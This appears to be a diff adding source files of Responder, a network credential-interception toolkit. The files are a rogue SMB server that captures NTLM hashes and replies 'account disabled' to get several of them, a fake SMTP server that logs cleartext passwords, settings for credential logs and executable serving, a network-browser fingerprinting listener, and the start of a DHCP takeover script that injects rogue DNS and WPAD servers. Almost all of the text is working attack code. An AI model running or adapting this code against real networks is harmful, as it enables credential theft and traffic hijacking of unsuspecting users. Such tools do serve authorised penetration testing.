+              				head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
+            				t = SMB2NegoAns()
+         				t.calculate()
+        				packet1 = str(head)+str(t)
+       				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
+      				        self.request.send(buffer1)
+      				        data = self.request.recv(1024)
+                                ## Session Setup 1 answer SMBv2.
+				if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
+              				head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
+              				t = SMB2NegoAns(Dialect="\x10\x02")
+              				t.calculate()
+              				packet1 = str(head)+str(t)
+       				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
+              				self.request.send(buffer1)
+              				data = self.request.recv(1024)
+                                ## Session Setup 2 answer SMBv2.
+				if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
+              				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
+              				t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
+              				t.calculate()
+              				packet1 = str(head)+str(t)
+       				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
+              				self.request.send(buffer1)
+              				data = self.request.recv(1024)
+                                ## Session Setup 3 answer SMBv2.
+				if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
+              				ParseSMB2NTLMv2Hash(data, self.client_address[0], Challenge)
+              				head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
+              				t = SMB2Session2Data()
+              				packet1 = str(head)+str(t)
+       				        buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1  
+              				self.request.send(buffer1)
+              				data = self.request.recv(1024)
+
+                                # Negotiate Protocol Response smbv1
+				if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
+				        Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
+					Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
+					Body.calculate()
+		
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				if data[8:10] == "\x73\x00" and data[4:5] == "\xff":  # Session Setup AndX Request smbv1
+					IsNT4ClearTxt(data, self.client_address[0])
+					
+					# STATUS_MORE_PROCESSING_REQUIRED
+					Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
+					if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
+					else:
+						Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
+					Body.calculate()
+		
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+
+					if data[8:10] == "\x73\x00" and data[4:5] == "\xff":  # STATUS_SUCCESS
+						if Is_Anonymous(data):
+							Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
+							Body = SMBSessEmpty()
+
+							Packet = str(Header)+str(Body)
+							Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+							self.request.send(Buffer)
+
+						else:
+							# Parse NTLMSSP_AUTH packet
+							ParseSMBHash(data,self.client_address[0], Challenge)
+
+							if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
+								# Send ACCOUNT_DISABLED to get multiple hashes if there are any
+								Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
+								Body = SMBSessEmpty()
+
+								Packet = str(Header)+str(Body)
+								Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+								self.request.send(Buffer)
+								self.ntry += 1
+								continue
+
+							# Send STATUS_SUCCESS
+							Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+							Body = SMBSession2Accept()
+							Body.calculate()
+
+							Packet = str(Header)+str(Body)
+							Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+							self.request.send(Buffer)
+							data = self.request.recv(1024)
+				
+
+				if data[8:10] == "\x75\x00" and data[4:5] == "\xff":  # Tree Connect AndX Request
+					ParseShare(data)
+					Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
+					Body = SMBTreeData()
+					Body.calculate()
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				if data[8:10] == "\x71\x00" and data[4:5] == "\xff":  #Tree Disconnect
+					Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+					
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				if data[8:10] == "\xa2\x00" and data[4:5] == "\xff":  #NT_CREATE Access Denied.
+					Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+				if data[8:10] == "\x25\x00" and data[4:5] == "\xff":  # Trans2 Access Denied.
+					Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+				
+
+				if data[8:10] == "\x74\x00" and data[4:5] == "\xff":  # LogOff
+					Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Body = "\x02\xff\x00\x27\x00\x00\x00"
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+
+		except:
+			pass
+
+
+class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
+	def handle(self):
+		try:
+			self.request.settimeout(0.5)
+			data = self.request.recv(1024)
+                        Challenge = RandomChallenge()
+			if data[0] == "\x81":  #session request 139
+				Buffer = "\x82\x00\x00\x00"
+				self.request.send(Buffer)
+				data = self.request.recv(1024)
+
+			if data[8:10] == "\x72\x00":  #Negotiate proto answer.
+				head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
+				Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
+				Body.calculate()
+				Packet = str(head)+str(Body)
+				Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+				self.request.send(Buffer)
+				data = self.request.recv(1024)
+
+			if data[8:10] == "\x73\x00":  #Session Setup AndX Request
+				if Is_LMNT_Anonymous(data):
+					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Packet = str(head)+str(SMBSessEmpty())
+					Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
+					self.request.send(Buffer)
+				else:
+					ParseLMNTHash(data,self.client_address[0], Challenge)
+					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
+					Packet = str(head) + str(SMBSessEmpty())
+					Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+					self.request.send(Buffer)
+					data = self.request.recv(1024)
+		except Exception:
+			self.request.close()
+			pass

servers/SMTP.py

@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from utils import *
+from base64 import b64decode
+from SocketServer import BaseRequestHandler
+from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
+
+class ESMTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			self.request.send(str(SMTPGreeting()))
+			data = self.request.recv(1024)
+
+			if data[0:4] == "EHLO":
+				self.request.send(str(SMTPAUTH()))
+				data = self.request.recv(1024)
+
+			if data[0:4] == "AUTH":
+				self.request.send(str(SMTPAUTH1()))
+				data = self.request.recv(1024)
+				
+				if data:
+					try:
+						User = filter(None, b64decode(data).split('\x00'))
+						Username = User[0]
+						Password = User[1]
+					except:
+						Username = b64decode(data)
+
+						self.request.send(str(SMTPAUTH2()))
+						data = self.request.recv(1024)
+
+						if data:
+							try: Password = b64decode(data)
+							except: Password = data
+
+					SaveToDb({
+						'module': 'SMTP', 
+						'type': 'Cleartext', 
+						'client': self.client_address[0], 
+						'user': Username, 
+						'cleartext': Password, 
+						'fullhash': Username+":"+Password,
+					})
+
+		except Exception:
+			pass

settings.py

@@ -0,0 +1,256 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import utils
+import ConfigParser
+import subprocess
+
+from utils import *
+
+__version__ = 'Responder 2.3.3.2'
+
+class Settings:
+	
+	def __init__(self):
+		self.ResponderPATH = os.path.dirname(__file__)
+		self.Bind_To = '0.0.0.0'
+
+	def __str__(self):
+		ret = 'Settings class:\n'
+		for attr in dir(self):
+			value = str(getattr(self, attr)).strip()
+			ret += "    Settings.%s = %s\n" % (attr, value)
+		return ret
+
+	def toBool(self, str):
+		return str.upper() == 'ON'
+
+	def ExpandIPRanges(self):
+		def expand_ranges(lst):
+			ret = []
+			for l in lst:
+				tab = l.split('.')
+				x = {}
+				i = 0
+				for byte in tab:
+					if '-' not in byte:
+						x[i] = x[i+1] = int(byte)
+					else:
+						b = byte.split('-')
+						x[i] = int(b[0])
+						x[i+1] = int(b[1])
+					i += 2
+				for a in range(x[0], x[1]+1):
+					for b in range(x[2], x[3]+1):
+						for c in range(x[4], x[5]+1):
+							for d in range(x[6], x[7]+1):
+								ret.append('%d.%d.%d.%d' % (a, b, c, d))
+			return ret
+
+		self.RespondTo = expand_ranges(self.RespondTo)
+		self.DontRespondTo = expand_ranges(self.DontRespondTo)
+
+	def populate(self, options):
+
+		if options.Interface is None and utils.IsOsX() is False:
+			print utils.color("Error: -I <if> mandatory option is missing", 1)
+			sys.exit(-1)
+
+		if options.Interface == "ALL" and options.OURIP == None:
+			print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1)
+			sys.exit(-1)
+
+		# Config parsing
+		config = ConfigParser.ConfigParser()
+		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
+
+		# Servers
+		self.HTTP_On_Off     = self.toBool(config.get('Responder Core', 'HTTP'))
+		self.SSL_On_Off      = self.toBool(config.get('Responder Core', 'HTTPS'))
+		self.SMB_On_Off      = self.toBool(config.get('Responder Core', 'SMB'))
+		self.SQL_On_Off      = self.toBool(config.get('Responder Core', 'SQL'))
+		self.FTP_On_Off      = self.toBool(config.get('Responder Core', 'FTP'))
+		self.POP_On_Off      = self.toBool(config.get('Responder Core', 'POP'))
+		self.IMAP_On_Off     = self.toBool(config.get('Responder Core', 'IMAP'))
+		self.SMTP_On_Off     = self.toBool(config.get('Responder Core', 'SMTP'))
+		self.LDAP_On_Off     = self.toBool(config.get('Responder Core', 'LDAP'))
+		self.DNS_On_Off      = self.toBool(config.get('Responder Core', 'DNS'))
+		self.Krb_On_Off      = self.toBool(config.get('Responder Core', 'Kerberos'))
+
+		# Db File
+		self.DatabaseFile    = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
+
+		# Log Files
+		self.LogDir = os.path.join(self.ResponderPATH, 'logs')
+
+		if not os.path.exists(self.LogDir):
+			os.mkdir(self.LogDir)
+
+		self.SessionLogFile      = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog'))
+		self.PoisonersLogFile    = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog'))
+		self.AnalyzeLogFile      = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
+		self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
+
+		self.FTPLog          = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
+		self.IMAPLog         = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
+		self.POP3Log         = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
+		self.HTTPBasicLog    = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
+		self.LDAPClearLog    = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
+		self.SMBClearLog     = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
+		self.SMTPClearLog    = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
+		self.MSSQLClearLog   = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
+
+		self.LDAPNTLMv1Log   = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv1Log   = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
+		self.HTTPNTLMv2Log   = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
+		self.KerberosLog     = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
+		self.MSSQLNTLMv1Log  = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
+		self.MSSQLNTLMv2Log  = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
+		self.SMBNTLMv1Log    = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
+		self.SMBNTLMv2Log    = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
+		self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
+		self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
+
+		# HTTP Options
+		self.Serve_Exe	      = self.toBool(config.get('HTTP Server', 'Serve-Exe'))
+		self.Serve_Always     = self.toBool(config.get('HTTP Server', 'Serve-Always'))
+		self.Serve_Html       = self.toBool(config.get('HTTP Server', 'Serve-Html'))
+		self.Html_Filename    = config.get('HTTP Server', 'HtmlFilename')
+		self.Exe_Filename     = config.get('HTTP Server', 'ExeFilename')
+		self.Exe_DlName       = config.get('HTTP Server', 'ExeDownloadName')
+		self.WPAD_Script      = config.get('HTTP Server', 'WPADScript')
+		self.HtmlToInject     = config.get('HTTP Server', 'HtmlToInject')
+
+		if not os.path.exists(self.Html_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
+
+		if not os.path.exists(self.Exe_Filename):
+			print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
+
+		# SSL Options
+		self.SSLKey  = config.get('HTTPS Server', 'SSLKey')
+		self.SSLCert = config.get('HTTPS Server', 'SSLCert')
+
+		# Respond to hosts
+		self.RespondTo         = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
+		self.RespondToName     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
+		self.DontRespondTo     = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
+		self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
+
+		# Auto Ignore List
+		self.AutoIgnore                       = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
+		self.CaptureMultipleCredentials       = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
+                self.CaptureMultipleHashFromSameHost  = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
+		self.AutoIgnoreList                   = []
+
+		# CLI options
+                self.ExternalIP         = options.ExternalIP
+		self.LM_On_Off          = options.LM_On_Off
+		self.WPAD_On_Off        = options.WPAD_On_Off
+		self.Wredirect          = options.Wredirect
+		self.NBTNSDomain        = options.NBTNSDomain
+		self.Basic              = options.Basic
+		self.Finger_On_Off      = options.Finger
+		self.Interface          = options.Interface
+		self.OURIP              = options.OURIP
+		self.Force_WPAD_Auth    = options.Force_WPAD_Auth
+		self.Upstream_Proxy     = options.Upstream_Proxy
+		self.AnalyzeMode        = options.Analyze
+		self.Verbose            = options.Verbose
+		self.ProxyAuth_On_Off   = options.ProxyAuth_On_Off
+		self.CommandLine        = str(sys.argv)
+
+                if self.ExternalIP:
+                        self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
+
+		if self.HtmlToInject is None:
+			self.HtmlToInject = ''
+
+                self.Bind_To         = utils.FindLocalIP(self.Interface, self.OURIP)
+
+                if self.Interface == "ALL":
+                	self.Bind_To_ALL  = True
+                else:
+                        self.Bind_To_ALL  = False
+
+                if self.Interface == "ALL":
+                	self.IP_aton   = socket.inet_aton(self.OURIP)
+                else:
+                	self.IP_aton   = socket.inet_aton(self.Bind_To)
+
+		self.Os_version      = sys.platform
+
+		# Set up Challenge
+		self.NumChal = config.get('Responder Core', 'Challenge')
+                if self.NumChal.lower() == 'random':
+                   self.NumChal = "random"
+
+		if len(self.NumChal) is not 16 and not "random":
+			print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
+			sys.exit(-1)
+
+		self.Challenge = ""
+                if self.NumChal.lower() == 'random':
+                   pass
+                else: 
+		   for i in range(0, len(self.NumChal),2):
+	               self.Challenge += self.NumChal[i:i+2].decode("hex")
+
+		# Set up logging
+		logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
+		logging.warning('Responder Started: %s' % self.CommandLine)
+
+		Formatter = logging.Formatter('%(asctime)s - %(message)s')
+		PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
+		ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
+		PLog_Handler.setLevel(logging.INFO)
+		ALog_Handler.setLevel(logging.INFO)
+		PLog_Handler.setFormatter(Formatter)
+		ALog_Handler.setFormatter(Formatter)
+
+		self.PoisonersLogger = logging.getLogger('Poisoners Log')
+		self.PoisonersLogger.addHandler(PLog_Handler)
+
+		self.AnalyzeLogger = logging.getLogger('Analyze Log')
+		self.AnalyzeLogger.addHandler(ALog_Handler)
+                
+		try:
+			NetworkCard = subprocess.check_output(["ifconfig", "-a"])
+		except subprocess.CalledProcessError as ex:
+			NetworkCard = "Error fetching Network Interfaces:", ex
+			pass
+		try:
+			DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
+		except subprocess.CalledProcessError as ex:
+			DNS = "Error fetching DNS configuration:", ex
+			pass
+		try:
+			RoutingInfo = subprocess.check_output(["netstat", "-rn"])
+		except subprocess.CalledProcessError as ex:
+			RoutingInfo = "Error fetching Routing information:", ex
+			pass
+
+		Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
+		try:
+			utils.DumpConfig(self.ResponderConfigDump, Message)
+			utils.DumpConfig(self.ResponderConfigDump,str(self))
+		except AttributeError as ex:
+			print "Missing Module:", ex
+			pass
+
+def init():
+	global Config
+	Config = Settings()

tools/BrowserListener.py

@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import os
+import thread
+
+BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, BASEDIR)
+
+from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
+from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
+from threading import Lock
+from utils import *
+
+def ParseRoles(data):
+	if len(data) != 4:
+		return ''
+
+	AllRoles = {
+		'Workstation':           (ord(data[0]) >> 0) & 1,
+		'Server':                (ord(data[0]) >> 1) & 1,
+		'SQL':                   (ord(data[0]) >> 2) & 1,
+		'Domain Controller':     (ord(data[0]) >> 3) & 1,
+		'Backup Controller':     (ord(data[0]) >> 4) & 1,
+		'Time Source':           (ord(data[0]) >> 5) & 1,
+		'Apple':                 (ord(data[0]) >> 6) & 1,
+		'Novell':                (ord(data[0]) >> 7) & 1,
+		'Member':                (ord(data[1]) >> 0) & 1,
+		'Print':                 (ord(data[1]) >> 1) & 1,
+		'Dialin':                (ord(data[1]) >> 2) & 1,
+		'Xenix':                 (ord(data[1]) >> 3) & 1,
+		'NT Workstation':        (ord(data[1]) >> 4) & 1,
+		'WfW':                   (ord(data[1]) >> 5) & 1,
+		'Unused':                (ord(data[1]) >> 6) & 1,
+		'NT Server':             (ord(data[1]) >> 7) & 1,
+		'Potential Browser':     (ord(data[2]) >> 0) & 1,
+		'Backup Browser':        (ord(data[2]) >> 1) & 1,
+		'Master Browser':        (ord(data[2]) >> 2) & 1,
+		'Domain Master Browser': (ord(data[2]) >> 3) & 1,
+		'OSF':                   (ord(data[2]) >> 4) & 1,
+		'VMS':                   (ord(data[2]) >> 5) & 1,
+		'Windows 95+':           (ord(data[2]) >> 6) & 1,
+		'DFS':                   (ord(data[2]) >> 7) & 1,
+		'Local':                 (ord(data[3]) >> 6) & 1,
+		'Domain Enum':           (ord(data[3]) >> 7) & 1,
+	}
+
+	return ', '.join(k for k,v in AllRoles.items() if v == 1)
+
+
+class BrowserListener(BaseRequestHandler):
+	def handle(self):
+		data, socket = self.request
+
+		lock = Lock()
+		lock.acquire()
+
+		DataOffset    = struct.unpack('<H',data[139:141])[0]
+		BrowserPacket = data[82+DataOffset:]
+		ReqType       = RequestType(BrowserPacket[0])
+
+		Domain = Decode_Name(data[49:81])
+		Name   = Decode_Name(data[15:47])
+		Role1  = NBT_NS_Role(data[45:48])
+		Role2  = NBT_NS_Role(data[79:82])
+		Fprint = WorkstationFingerPrint(data[190:192])
+		Roles  = ParseRoles(data[192:196])
+
+		print text("[BROWSER] Request Type : %s" % ReqType)
+		print text("[BROWSER] Address      : %s" % self.client_address[0])
+		print text("[BROWSER] Domain       : %s" % Domain)
+		print text("[BROWSER] Name         : %s" % Name)
+		print text("[BROWSER] Main Role    : %s" % Role1)
+		print text("[BROWSER] 2nd Role     : %s" % Role2)
+		print text("[BROWSER] Fingerprint  : %s" % Fprint)
+		print text("[BROWSER] Role List    : %s" % Roles)
+
+		RAPThisDomain(self.client_address[0], Domain)
+
+		lock.release()
+
+
+class ThreadingUDPServer(ThreadingMixIn, UDPServer):
+	def server_bind(self):
+		self.allow_reuse_address = 1
+		UDPServer.server_bind(self)
+
+def serve_thread_udp_broadcast(host, port, handler):
+	try:
+		server = ThreadingUDPServer(('', port), handler)
+		server.serve_forever()
+	except:
+		print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
+
+if __name__ == "__main__":
+	try:
+		print "Listening for BROWSER datagrams..."
+		thread.start_new(serve_thread_udp_broadcast,('', 138,  BrowserListener))
+
+		while True:
+			time.sleep(1)
+
+	except KeyboardInterrupt:
+		sys.exit("\r Exiting...")

tools/DHCP.py

@@ -0,0 +1,318 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import sys
+import struct
+import optparse
+import ConfigParser
+import os
+
+BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.insert(0, BASEDIR)
+from odict import OrderedDict
+from packets import Packet
+from utils import *
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
+parser.add_option('-I', '--interface',  action="store",      help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+parser.add_option('-d', '--dnsname',    action="store",      help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+parser.add_option('-r', '--router',     action="store",      help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+parser.add_option('-p', '--primary',    action="store",      help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+parser.add_option('-s', '--secondary',  action="store",      help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+parser.add_option('-n', '--netmask',    action="store",      help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+parser.add_option('-w', '--wpadserver', action="store",      help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD")
+parser.add_option('-S',                 action="store_true", help="Spoof the router ip address",dest="Spoof")
+parser.add_option('-R',                 action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests")
+options, args = parser.parse_args()
+
+def color(txt, code = 1, modifier = 0):
+	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+if options.Interface is None:
+	print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
+	exit(-1)
+elif options.RouterIP is None:
+	print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
+	exit(-1)
+elif options.DNSIP is None:
+	print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
+	exit(-1)
+elif options.DNSIP2 is None:
+	print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
+	exit(-1)
+
+
+print '#############################################################################'
+print '##                       DHCP INFORM TAKEOVER 0.2                          ##'
+print '##                                                                         ##'
+print '##        By default, this script will only inject a new DNS/WPAD          ##'
+print '##                server to a Windows <= XP/2003 machine.                  ##'
+print '##                                                                         ##'
